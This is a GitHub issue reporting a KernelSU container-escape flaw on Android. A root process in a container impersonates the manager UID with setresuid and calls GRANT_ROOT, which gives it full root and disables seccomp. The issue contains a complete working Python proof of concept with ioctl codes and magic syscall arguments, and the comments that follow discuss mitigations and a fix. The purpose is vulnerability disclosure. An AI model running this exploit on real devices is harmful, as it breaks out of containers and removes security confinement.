Skip to content

[BUG]: [container escape] KernelSU GRANT_ROOT reachable via manager-UID impersonation (setresuid), bypasses is_ksu_domain() and disables seccomp #257

Description

@superturtlee

Kernel Version

6.12

Kernel Source Link (REQUIRED)

https://github.com/OnePlusOSS/android_kernel_common_oneplus_sm8850

Droidspaces Version

6.4.5

Rooting Method

KernelSU

Device OEM & Model

Oneplus pad 3 pro

Android Version & ROM

16

Execution Mode

DAEMON

Networking Mode

NAT

Describe the Bug

Summary

A process running as uid 0 in a container that shares the host's init user
namespace can escalate to full root (uid 0 + full caps + u:r:ksu:s0) and
have its seccomp filter disabled, by impersonating the manager UID. The
is_ksu_domain() guard that blocks a direct container-root GRANT_ROOT is
bypassed through the is_manager() branch of allowed_for_su.

Affected

KernelSU (built-in and LKM). Requires an attacker who already has uid 0
(CAP_SETUID) in a container sharing the host init userns (rooted container /
root-in-container). Single-user Android where ksu_manager_appid < 100000.

Root cause

is_manager() (kernel/manager/manager_identity.h) is defined purely as:

return unlikely(ksu_manager_appid == current_uid().val % KSU_PER_USER_RANGE);

It trusts the UID alone. Any uid-0 process can:

  1. Read ksu_manager_appid via KSU_IOCTL_GET_MANAGER_APPID
    (perm manager_or_root — uid 0 passes with no domain check, unlike
    __ksu_is_allow_uid_for_current in kernel/policy/allowlist.c, which
    requires is_ksu_domain() for its uid-0 case).
  2. setresuid(M) to that appid → is_manager() becomes true.
  3. KSU_IOCTL_GRANT_ROOT (perm allowed_for_su = is_manager() || … in
    kernel/supercall/perm.c) now passes the is_manager() branch —
    is_ksu_domain() is never consulted.
  4. do_grant_root → escape_with_root_profile() (kernel/policy/app_profile.c)
    installs default_root_profile (uid 0, full caps, u:r:ksu:s0) and calls
    disable_seccomp() — the only code path that disables seccomp.

The asymmetry is the core issue: the uid-0 fast path in
__ksu_is_allow_uid_for_current is hardened with is_ksu_domain(), but the
is_manager() branch of allowed_for_su (reachable from the same uid-0
caller after a setresuid) is not.

Escape chain

container root (uid 0, CAP_SETUID, non-ksu domain)
  GET_MANAGER_APPID (manager_or_root, uid0 OK)  -> M = ksu_manager_appid
  setresuid(M)                                   -> is_manager() == true
  GRANT_ROOT     (allowed_for_su: is_manager())  -> escape_with_root_profile
                                                 -> uid0 + full caps + u:r:ksu:s0 + seccomp OFF

PoC

Non-destructive: after escalating, it only reads /proc/self/status and
/proc/self/attr/current to show before/after state. No destructive action.

Run: sudo python3 ksu_poc3_manager_uid.py

Expected before/after: Seccomp=2 → 0, CapEff=0 → full, SELinux → u:r:ksu:s0.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
KernelSU supervisor-call escape PoC #3 (manager-uid impersonation).

GRANT_ROOT is reachable by a process that fakes the manager UID via
setresuid(), bypassing the is_ksu_domain() guard intended to block container
root (uid 0). GRANT_ROOT runs escape_with_root_profile(), which installs the
default root profile (uid 0, full caps, u:r:ksu:s0) AND calls
disable_seccomp() - the only code path that disables seccomp.

Non-destructive: after escalating, the PoC only reads /proc/self/status and
/proc/self/attr/current to show before/after state.

Reproduce:  sudo python3 ksu_poc3_manager_uid.py
  (needs container root for CAP_SETUID and uid-0 GET_MANAGER_APPID)
"""
import ctypes
import os
import platform

ARCH = platform.machine().lower()
NR_REBOOT = {"aarch64": 142, "arm64": 142, "x86_64": 169, "x86": 169}.get(ARCH, 142)

libc = ctypes.CDLL("libc.so.6", use_errno=True)
libc.syscall.restype = ctypes.c_long
libc.ioctl.restype = ctypes.c_int
libc.setresuid.restype = ctypes.c_int

GRANT_ROOT = 0x00004B01         # _IO('K', 1)               perm: allowed_for_su
GET_MANAGER_APPID = 0x80004B0A  # _IOC(_IOC_READ,'K',10,0)  perm: manager_or_root
INVALID_APPID = 0xFFFFFFFF


def snap(label):
    uid = os.getuid()
    sec = cap = "?"
    for line in open("/proc/self/status"):
        if line.startswith("Seccomp:"):
            sec = line.split(":")[1].strip()
        elif line.startswith("CapEff:"):
            cap = line.split(":")[1].strip()
    try:
        ctx = open("/proc/self/attr/current").read().strip()
    except OSError:
        ctx = "?"
    print(f"  [{label}] uid={uid}  Seccomp={sec}  CapEff={cap}  SELinux={ctx}")


def get_fd():
    out = ctypes.c_int(-1)
    r = libc.syscall(NR_REBOOT, 0xDEADBEEF, 0xCAFEBABE, 0, ctypes.byref(out))
    return r, out.value


print("=" * 64)
print(" KSU escape PoC #3: manager-uid impersonation -> GRANT_ROOT")
print("=" * 64)

if os.getuid() != 0:
    print(f"\n[!] running as uid={os.getuid()}; need container root "
          f"(CAP_SETUID + uid-0 GET_MANAGER_APPID).")
    print(f"    try:  sudo python3 {os.path.abspath(__file__)}")
    raise SystemExit(1)

print("\n>> Step 1: container root obtains [ksu_driver] fd + reads manager appid")
snap("container-root")
r, fd = get_fd()
print(f"  reboot() ret={r}  fd={fd}")

appid = ctypes.c_uint32(INVALID_APPID)
r = libc.ioctl(ctypes.c_int(fd), ctypes.c_ulong(GET_MANAGER_APPID), ctypes.byref(appid))
M = appid.value
print(f"  GET_MANAGER_APPID ret={r}  ksu_manager_appid={M} "
      f"({'INVALID - no manager recognized' if M == INVALID_APPID else 'M = ' + str(M)})")
if M == INVALID_APPID:
    print("\n[!] no manager recognized (official manager APK not installed/scanned). "
          "Cannot proceed. Exiting.")
    raise SystemExit(1)

print(f"\n>> Step 2: setresuid({M},{M},{M})  -> impersonate manager (CAP_SETUID)")
r = libc.setresuid(M, M, M)
print(f"  setresuid ret={r}  errno={ctypes.get_errno()}")
snap(f"uid{M}(fake-manager)")

print("\n>> Step 3: GRANT_ROOT  (allowed_for_su: is_manager() branch now true)")
r = libc.ioctl(ctypes.c_int(fd), ctypes.c_ulong(GRANT_ROOT), 0)
e = ctypes.get_errno()
if r == 0:
    print(f"  GRANT_ROOT ret={r}  => SUCCESS: escape_with_root_profile executed "
          f"(escalated + disable_seccomp)")
else:
    print(f"  GRANT_ROOT ret={r}  errno={e}  => blocked "
          f"(M may be >= 100000 multi-user, or is_manager() failed)")

print("\n>> Step 4: post-escape state")
snap("post-escape")

However we cannot simply fix it by disable reboot call because the attacker can try any possiable uids through execv hook path

Steps to Reproduce

escape.py

  1. download poc
  2. sudo bash python escape.py
  3. full root obtained,

Logs / Screenshots

Image

Required Acknowledgments

  • I have verified this is not a duplicate issue.
  • I am using a kernel compiled strictly according to Droidspaces' official documentation.
  • I am NOT using a kernel with 69+ random configs, CRC nukes, or a broken ABI.
  • I have confirmed this issue persists in both Daemon and Direct modes.
  • I admit that I am a clown for checking this box, confirming I have NOT read these rules.
  • I admit I did zero research, didn't ask my AI waifu for a fix, and am dropping this here because I'm 100% sure the fault lies with Droidspaces.

Activity

  1. changed the title [-][BUG]: [container escape] GRANT_ROOT reachable via manager-UID impersonation (`setresuid`), bypasses `is_ksu_domain()` and disables seccomp[/-] [+][BUG]: [container escape] KernelSU GRANT_ROOT reachable via manager-UID impersonation (`setresuid`), bypasses `is_ksu_domain()` and disables seccomp[/+] on Jul 30, 2026
  2. superturtlee commented on Jul 30, 2026

    @superturtlee
    ContributorAuthor

    Maybe posiable solution: call ksu ioctl to set TIF_KSU_DISABLE_ESCAPE_WITH_ROOT to drop ROOT_GRANT caps
    block reboot call by seccomp

  3. Moe-hacker commented on Jul 30, 2026

    @Moe-hacker

    From my testing on a device running Sukisu Ultra v40790, the issue is not limited to the manager UID. Any UID belonging to an application that has already been granted root privileges appears to be affected, at least setresuid() to termux uid also works.

    If I'm understanding the code correctly, one possible mitigation would be to use seccomp to block the "setuid()" family of syscalls (e.g. "setuid()", "setresuid()", "setreuid()", etc.) from switching to one of those privileged target UIDs. That should at least mitigate this attack vector, although it may not address the underlying authentication issue itself.

  4. ravindu644 commented on Aug 2, 2026

    @ravindu644
    Owner

    Is this issue resolved now ?

    Even though this is KernelSU related issue, I merged your PR anyways as it did the job.

    But I'm not sure if this fixes this

  5. superturtlee commented on Aug 2, 2026

    @superturtlee
    ContributorAuthor

    fixed by 41dd1cb

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions